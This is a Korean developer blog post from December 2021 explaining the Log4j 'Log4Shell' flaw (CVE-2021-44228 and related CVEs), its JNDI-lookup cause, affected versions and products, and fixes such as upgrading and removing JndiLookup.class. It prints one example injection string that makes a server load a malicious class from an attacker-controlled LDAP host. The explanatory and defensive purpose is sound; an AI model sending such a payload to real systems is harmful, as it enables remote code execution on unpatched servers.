본문 바로가기
Develop/etc

[Log4j] Log4j 취약점 발견되다?

by 연로그 2021. 12. 16.
반응형
본 글은 이번 달 새로 발견된 Log4j 보안 취약성에 대해 알아보기 위해 작성한 글이다.
참고로 현재 발견된 Log4j의 문제는 1.x에서는 해당되지 않으나 1.x에는 다른 보안 취약성이 많이 존재하므로 업데이트를 추천한다.

 


1. 어쩌다 발견되었나? 🤔

 

마인 크래프트라는 게임을 누구나 한번쯤은 본 적이 있을 것이다.

이번 사태는 해당 게임의 기술자를 통해 본격적으로 널리 알려지게 되었다.

 

11/24

 

12/10

  • PaperMC가 Discord를 통해 긴급 패치된 파일로 업데이트 하도록 긴급 공지
    (PaperMC: 마인크래프트의 마크 멀티플레이 버킷 서비스)

  • GitHub Advisory Database에 CVE-2021-44228 취약점 게재
    (GitHub Advisory Database: 오픈소스 sw의 알려진 보안 취약점에 대한 db web site)

  • 마인크래프트 기술 책임자가 본인 트위터마인크래프트 홈페이지에 해당 내역 발표

 

이와 관련해 CVE-2021-45046, CVE-2021-4104까지 여러 취약점이 나왔다.

 

🔻 기타 관련 취약점

더보기
  • CVE-2021-44228: 원격 코드 실행 취약점
  • CVE-2021-45046: 서비스 거부 취약점
  • CVE-2021-4104: 원격 코드 실행 취약점 (Log4j 1.2 버전)

2. 취약점의 원인 👿

 

취약점의 원인은 Log4j 2에 있다.

Log4j란 Java 기반의 로깅 프레임워크 오픈 소스이다.

Java에서 로그를 사용한다면 다 한번쯤은 써봤고 정말 많은 기업들이 사용하는 프레임워크라 이와 같은 이슈화가 됐다.

 

이 Log4j 라이브러리를 통해 zero-day 공격이 가능하다.

 

어떤 상황에서는 사용자가 입력한 데이터가 로그로 남기도 한다.

이 사용자 입력에 특수 문자를 포함하거나 log4j의 컨텍스트에서 기록되어야 하는 경우,

Java 메소드 조회가 호출되며 LDAP 서버에서 사용자 정의한 원격 클래스를 실행한다.

이로 인해 취약한 Log4j 2 인스턴스를 사용하는 서버에서는 RCE로 이어진다.

 

🔻 zero-day 공격이란?

더보기

무엇이 잘못 되었는지 깨닫지 못한, 아직 발견하지 못한 결함이 존재한다고 가정하자.

이 결함을 악용하면 zero-day 공격이라고 한다.

 

개발자가 취약점을 발견하고 수정하기도 전에 공격자가 악성코드를 공개해 제로데이라고 부른다.

패치가 작성 및 사용되면 더 이상 제로데이 공격이라 부르지 않으며 이 공격은 발견되기가 드물다.

 

🔻 RCE란?

더보기

= Remote Code Execution

 

위험한 컴퓨터 취약점의 일종.

공격자가 타겟 시스템에 악의적인 코드를 원격으로 실행시킬 수 있도록 한다.

 

🐱‍👓 더 자세히 살펴보자.

Log4j 2.x는 사용자가 Log4j 설정을 유연하게 변경할 수 있도록 lookups라는 메커니즘을 제공한다.

Lookups provide a way to add values to the log4j configuration at arbitrary places.
They are a particular type of Plugin that implements the StrLookup interface.

 

기본적으로 로그 메소드를 호출하면 Log4j 2.x는 각 로그에 ${가 있는지 확인한다.

 

Java의 lookup 메소드가 ${ 뒤에 올 실제 값들을 찾는다.

예를 들어 ${ 뒤에 java:runtime, java:vm, java:os와 같은 문자열이 온다면 looup 메소드는 이에 상응하는 값으로 치환할 것이다.

java:runtime -> Java(TM) SE Runtime Environment (build 1.7.0_67-b01) from Oracle Corporation

java:vm -> Java HotSpot(TM) 64-Bit Server VM (build 24.65-b04, mixed mode

java:os -> Windows 7 6.1 Service Pack 1, architecture: amd64-64.

 

Jndi lookup, JVM Input Arguments Lookup, Web Lookup 등 lookup에는 다양한 유형이 존재한다.

여기서 Jndi lookup 같은 경우에는 JNDI로부터 값을 가져오는 것이 가능하고 LDAP이나 RMI 같은 원격 lookup을 위해 여러 프로토콜을 지원한다.

 

로그에서 공격자가 아래와 같은 strings를 포함시켰다고 가정하자.

공격자가 제어하는 LDAP 서버의 악성 Java 클래스를 넣었다.

${jndi:ldap://www.attacker.com/malicious_java_class}

Java의 lookup 메소드는 악성 Java 클래스를 실행하게 된다.

 

🔻 JNDI란?

더보기
  • = Java Naming and Directory Interface
  • 제공하는 데이터 및 객체를 발견(discover)하고 참고(lookup)하기 위한 Java API
  • 모든 자원 객체들은 고유하고 사용자에게 친숙한 JNDI 이름으로 식별
  • J2EE 플랫폼의 일부

 

🔻 LDAP이란?

더보기
  • = Lightweight Directory Access Protocol
  • TCP/IP, 인터넷 환경에서 손쉽게 디렉터리 서비스를 수용할 수 있는 디렉터리 접근 제어 및 이를 위한 프로토콜
  • 사용자 인증 및 정보 객체 등록 및 검색 서비스로 주로 적용
  • 관리하는 정보를 읽고 검색하는 것에 특화

 


3. 악용될 수 있는 범위

 

많은 서비스들이 이 취약점에 시달리고 있다.

Steam, Apple iCloud 같은 클라우드 서비스들을 포함해 많은 서비스들이 대응 완료 또는 진행중이다.

 

영향받는 버전

  • Log4j 2.x ~ 2.15.0-rc1
    (2버전 미만은 해당 문제는 적용되지 않지만 많은 취약점이 존재하므로 업데이트를 권장)

 

영향받는 소프트웨어

  • Apache Struts
  • Apache Solr
  • Apache Druid
  • Apache Flink
  • ElasticSearch
  • Flume
  • Apache Dubbo
  • Logstash
  • Kafka
  • Spring-Boot-starter-log4j2

 


4. 대응 방법

 

Java 8의 경우에는 Log4j 2.16.0,

Java 7의 경우에는 Log4j 2.12.2 버전을 권고하고 있다.

 

JndiLookup 클래스를 경로에서 직접 제거할 수 있으나 임시 조치에 불과하다.

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

 

Spring boot

spring-boot-starter-logging에 포함된 log4j-ot-slf4j와 log4j-api jar는 악용될 수 없다고 밝혔다.

다만 log4j-core는 취약점에 해당되는데 12/23에 2.5.8과 2.6.2 버전의 release를 예정해두었다.

그 전까지는 임의로 종속성을 overriding해서 사용하면 될 것 같다.

 

🔻 버전 업그레이드 하기

더보기

Maven

<properties>
    <log4j2.version>2.16.0</log4j2.version>
</properties>

 

spring-boot-dependencies BOM에서 가져오는 경우

<dependencyManagement>
    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-bom</artifactId>
            <version>2.16.0</version>
            <scope>import</scope>
            <type>pom</type>
        </dependency>
        ... other dependencies including spring-boot-dependencies
    </dependencies>
</dependencyManagement>

 

Gradle

ext['log4j2.version'] = '2.16.0'

또는

implementation(platform("org.apache.logging.log4j:log4j-bom:2.16.0"))

 


참고

반응형